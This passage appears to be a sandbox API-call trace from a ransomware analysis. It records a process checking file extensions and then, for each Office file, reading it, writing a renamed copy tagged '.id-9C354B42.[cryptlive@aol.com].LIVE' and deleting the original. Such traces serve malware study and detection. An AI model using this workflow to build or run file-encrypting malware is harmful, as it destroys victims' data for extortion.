(lpString=".1cd") returned 4 [0140.338] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.338] lstrlenW (lpString=".jpg") returned 4 [0140.338] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.338] lstrlenW (lpString=".doc") returned 4 [0140.338] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString=".docx") returned 5 [0140.338] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0140.338] lstrlenW (lpString=".pdf") returned 4 [0140.338] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0140.339] lstrlenW (lpString=".xls") returned 4 [0140.339] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0140.339] lstrlenW (lpString=".xlsx") returned 5 [0140.339] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0140.339] lstrlenW (lpString=".ppt") returned 4 [0140.339] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0140.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.339] lstrlenW (lpString=".zip") returned 4 [0140.339] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0140.339] lstrlenW (lpString=".rar") returned 4 [0140.339] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0140.339] lstrlenW (lpString=".bz2") returned 4 [0140.339] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0140.339] lstrlenW (lpString=".7z") returned 3 [0140.339] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0140.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.339] lstrlenW (lpString=".dbf") returned 4 [0140.339] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0140.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.339] lstrlenW (lpString=".1cd") returned 4 [0140.339] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0140.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.339] lstrlenW (lpString=".jpg") returned 4 [0140.339] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0140.339] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0140.339] lstrlenW (lpString="GANTT.VSL") returned 9 [0140.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.340] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=320880) returned 1 [0140.340] CloseHandle (hObject=0x2f8) returned 1 [0140.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 0x20 [0140.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.341] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.341] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.342] GetLastError () returned 0x0 [0140.342] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x4e570, lpOverlapped=0x0) returned 1 [0140.351] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x4e580, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4e580, lpOverlapped=0x0) returned 1 [0140.357] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.357] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0140.357] SetEndOfFile (hFile=0x1e4) returned 1 [0140.357] CloseHandle (hObject=0x1e4) returned 1 [0140.357] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.357] SetEndOfFile (hFile=0x2f8) returned 1 [0140.534] CloseHandle (hObject=0x2f8) returned 1 [0140.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 1 [0140.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.537] lstrlenW (lpString=".doc") returned 4 [0140.537] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0140.537] lstrlenW (lpString=".docx") returned 5 [0140.537] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0140.537] lstrlenW (lpString=".pdf") returned 4 [0140.537] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0140.537] lstrlenW (lpString=".xls") returned 4 [0140.537] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0140.537] lstrlenW (lpString=".xlsx") returned 5 [0140.537] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0140.537] lstrlenW (lpString=".ppt") returned 4 [0140.537] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0140.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.537] lstrlenW (lpString=".zip") returned 4 [0140.538] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0140.538] lstrlenW (lpString=".rar") returned 4 [0140.538] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString=".bz2") returned 4 [0140.538] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString=".7z") returned 3 [0140.538] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.538] lstrlenW (lpString=".dbf") returned 4 [0140.538] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.538] lstrlenW (lpString=".1cd") returned 4 [0140.538] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.538] lstrlenW (lpString=".jpg") returned 4 [0140.538] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.538] lstrlenW (lpString=".doc") returned 4 [0140.538] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString=".docx") returned 5 [0140.538] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0140.538] lstrlenW (lpString=".pdf") returned 4 [0140.538] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString=".xls") returned 4 [0140.538] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0140.538] lstrlenW (lpString=".xlsx") returned 5 [0140.538] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0140.538] lstrlenW (lpString=".ppt") returned 4 [0140.538] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.538] lstrlenW (lpString=".zip") returned 4 [0140.538] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0140.538] lstrlenW (lpString=".rar") returned 4 [0140.538] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0140.539] lstrlenW (lpString=".bz2") returned 4 [0140.539] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0140.539] lstrlenW (lpString=".7z") returned 3 [0140.539] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0140.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.539] lstrlenW (lpString=".dbf") returned 4 [0140.539] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0140.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.539] lstrlenW (lpString=".1cd") returned 4 [0140.539] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0140.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0140.539] lstrlenW (lpString=".jpg") returned 4 [0140.539] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0140.539] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0140.539] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0140.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.714] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=205) returned 1 [0140.714] CloseHandle (hObject=0x3a8) returned 1 [0140.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20 [0140.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.718] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.718] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.719] GetLastError () returned 0x0 [0140.719] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xcd, lpOverlapped=0x0) returned 1 [0140.722] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0140.723] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.723] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0140.723] SetEndOfFile (hFile=0x350) returned 1 [0140.723] CloseHandle (hObject=0x350) returned 1 [0140.724] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.724] SetEndOfFile (hFile=0x3a8) returned 1 [0140.728] CloseHandle (hObject=0x3a8) returned 1 [0140.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 1 [0140.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.729] lstrlenW (lpString=".doc") returned 4 [0140.729] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0140.729] lstrlenW (lpString=".docx") returned 5 [0140.729] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0140.729] lstrlenW (lpString=".pdf") returned 4 [0140.729] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0140.729] lstrlenW (lpString=".xls") returned 4 [0140.729] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0140.729] lstrlenW (lpString=".xlsx") returned 5 [0140.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0140.729] lstrlenW (lpString=".ppt") returned 4 [0140.729] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0140.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.729] lstrlenW (lpString=".zip") returned 4 [0140.729] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0140.729] lstrlenW (lpString=".rar") returned 4 [0140.729] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0140.729] lstrlenW (lpString=".bz2") returned 4 [0140.729] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0140.729] lstrlenW (lpString=".7z") returned 3 [0140.729] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0140.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.729] lstrlenW (lpString=".dbf") returned 4 [0140.729] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0140.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.729] lstrlenW (lpString=".1cd") returned 4 [0140.729] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0140.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.729] lstrlenW (lpString=".jpg") returned 4 [0140.729] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0140.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.730] lstrlenW (lpString=".doc") returned 4 [0140.730] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0140.730] lstrlenW (lpString=".docx") returned 5 [0140.730] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0140.730] lstrlenW (lpString=".pdf") returned 4 [0140.730] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0140.730] lstrlenW (lpString=".xls") returned 4 [0140.730] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0140.730] lstrlenW (lpString=".xlsx") returned 5 [0140.730] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0140.730] lstrlenW (lpString=".ppt") returned 4 [0140.730] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0140.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.730] lstrlenW (lpString=".zip") returned 4 [0140.730] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0140.730] lstrlenW (lpString=".rar") returned 4 [0140.730] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0140.730] lstrlenW (lpString=".bz2") returned 4 [0140.730] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0140.730] lstrlenW (lpString=".7z") returned 3 [0140.730] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0140.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.730] lstrlenW (lpString=".dbf") returned 4 [0140.730] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0140.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.730] lstrlenW (lpString=".1cd") returned 4 [0140.730] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0140.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0140.730] lstrlenW (lpString=".jpg") returned 4 [0140.730] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0140.731] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0140.731] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0140.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.731] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0140.731] CloseHandle (hObject=0x3a8) returned 1 [0140.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20 [0140.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.732] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.732] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.732] GetLastError () returned 0x0 [0140.732] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0140.733] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0140.734] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.734] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0140.734] SetEndOfFile (hFile=0x350) returned 1 [0140.735] CloseHandle (hObject=0x350) returned 1 [0140.735] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.735] SetEndOfFile (hFile=0x3a8) returned 1 [0140.738] CloseHandle (hObject=0x3a8) returned 1 [0140.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 1 [0140.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.739] lstrlenW (lpString=".doc") returned 4 [0140.739] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.739] lstrlenW (lpString=".docx") returned 5 [0140.739] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.739] lstrlenW (lpString=".pdf") returned 4 [0140.739] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.739] lstrlenW (lpString=".xls") returned 4 [0140.739] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.739] lstrlenW (lpString=".xlsx") returned 5 [0140.739] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.739] lstrlenW (lpString=".ppt") returned 4 [0140.739] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.739] lstrlenW (lpString=".zip") returned 4 [0140.739] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.739] lstrlenW (lpString=".rar") returned 4 [0140.739] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.739] lstrlenW (lpString=".bz2") returned 4 [0140.739] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.739] lstrlenW (lpString=".7z") returned 3 [0140.739] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.739] lstrlenW (lpString=".dbf") returned 4 [0140.739] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.739] lstrlenW (lpString=".1cd") returned 4 [0140.739] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.739] lstrlenW (lpString=".jpg") returned 4 [0140.739] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.740] lstrlenW (lpString=".doc") returned 4 [0140.740] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.740] lstrlenW (lpString=".docx") returned 5 [0140.740] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.740] lstrlenW (lpString=".pdf") returned 4 [0140.740] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.740] lstrlenW (lpString=".xls") returned 4 [0140.740] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.740] lstrlenW (lpString=".xlsx") returned 5 [0140.740] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 